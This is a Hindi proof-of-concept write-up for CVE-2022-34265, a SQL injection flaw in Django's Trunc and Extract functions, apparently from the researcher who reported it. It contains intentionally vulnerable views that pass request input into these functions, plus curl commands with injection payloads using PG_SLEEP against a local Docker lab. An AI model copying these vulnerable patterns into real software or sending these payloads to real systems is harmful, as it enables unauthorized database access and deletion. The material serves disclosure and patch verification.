
CVE-2022-34265 (Django) के लिए PoC
प्रारंभ
docker-compose build
docker-compose up -d
रोकें
docker-compose down
Django में एक भेद्यता (CVE-2022-34265) 5 जुलाई, 2022 (अमेरिकी समय) को प्रकट की गई थी। यह लेख इस भेद्यता पर हमारी चर्चा और हमारे सत्यापन के परिणामों का वर्णन करता है।
यह भेद्यता Django में दिनांक डेटा के लिए उपयोग किए जाने वाले Trunc और Extract फ़ंक्शन के तर्कों के लिए SQL निष्पादित करते समय अनुचित स्ट्रिंग प्रोसेसिंग के कारण होती है। अनुरोध पैरामीटर को Trunc के kind तर्क या Extract के lookup_name तर्क में यथावत निर्दिष्ट करके, जोखिम है कि मनमाना SQL निष्पादित किया जा सकता है। इस भेद्यता का शोषण करके, कोई तृतीय पक्ष डेटाबेस को कमांड भेज सकता है ताकि अनधिकृत डेटा तक पहुंच सके या डेटाबेस को हटा सके।
अतीत में Django में खोजी गई कई भेद्यताएँ SQL इंजेक्शन भेद्यताएँ थीं, और हमने सोचा कि क्या CVE-2020-7471 जैसी अन्य भेद्यताएँ भी हैं, इसलिए हमने डेटाबेस फ़ंक्शन तर्कों की बारी-बारी से जाँच की, हमें ऐसे तर्क मिले जिन्हें शुद्ध नहीं किया गया था, और Takuto Yoshikai (लेखक) ने इसकी सूचना IPA और Django विकास टीम को दी।
परिणामस्वरूप, CVE-2022-34265 को हल करने वाले रिलीज़ में
इन मुद्दों के समाधान के लिए निम्नलिखित कार्रवाई की गई है।
vuln/models.py
हमने Django प्रलेखन से एक उदाहरण का उपयोग किया, जो किसी दिनांक के प्रारंभ और समाप्ति समय को रिकॉर्ड करने वाली तालिका के लिए मॉडल है।
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
यह Experiment के start_datetime कॉलम में उन वर्ष संख्याओं को फ़िल्टर करता है जो end_datetime के वर्ष, माह, दिन, घंटा, मिनट, सेकंड आदि के समान हैं। यहाँ से SQL इंजेक्शन भेद्यता ट्रिगर हो सकती है।
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
Trunc फ़ंक्शन का उपयोग दिनांक और समय डेटा के विशिष्ट वर्ष, माह, दिन, घंटा, मिनट, सेकंड आदि भागों को काटने (truncate) के लिए किया जाता है। उपरोक्त उदाहरण में, start_datetime और payload भाग को काटे गए start_datetime समान रिकॉर्ड हैं। यह वह जगह है जहाँ SQL इंजेक्शन भेद्यता ट्रिगर हो सकती है।
यह सत्यापित करने के लिए कि हमला सफल होता है, PG_SLEEP निर्देश का उपयोग करके देखें कि प्रतिक्रिया लौटने में देरी होती है या नहीं।
# Normal URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# URL where the database instruction can be executed
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
मैंने PG_SLEEP में 5 सेकंड निर्दिष्ट किए हैं, लेकिन ऐसा लगता है कि PG_SLEEP(5) में कई सेकंड लगते हैं। ऐसा लगता है कि यह कार्यान्वयन और स्थिति के आधार पर कई सेकंड तक बुलाया जाता है। चूँकि मनमाना SQL स्टेटमेंट निष्पादित किए जा सकते हैं, डेटाबेस विलोपन जैसे खतरनाक हमले संभव हैं।
हमारी चर्चा और सत्यापन के परिणामस्वरूप, हमने पाया कि कार्यान्वयन के आधार पर सफल हमले की कोई छोटी संभावना नहीं है। हम अनुशंसा करते हैं कि आप सबसे खराब स्थिति में DROP TABLE के जोखिम से बचने के लिए जल्द से जल्द अपने सिस्टम को अपडेट करें।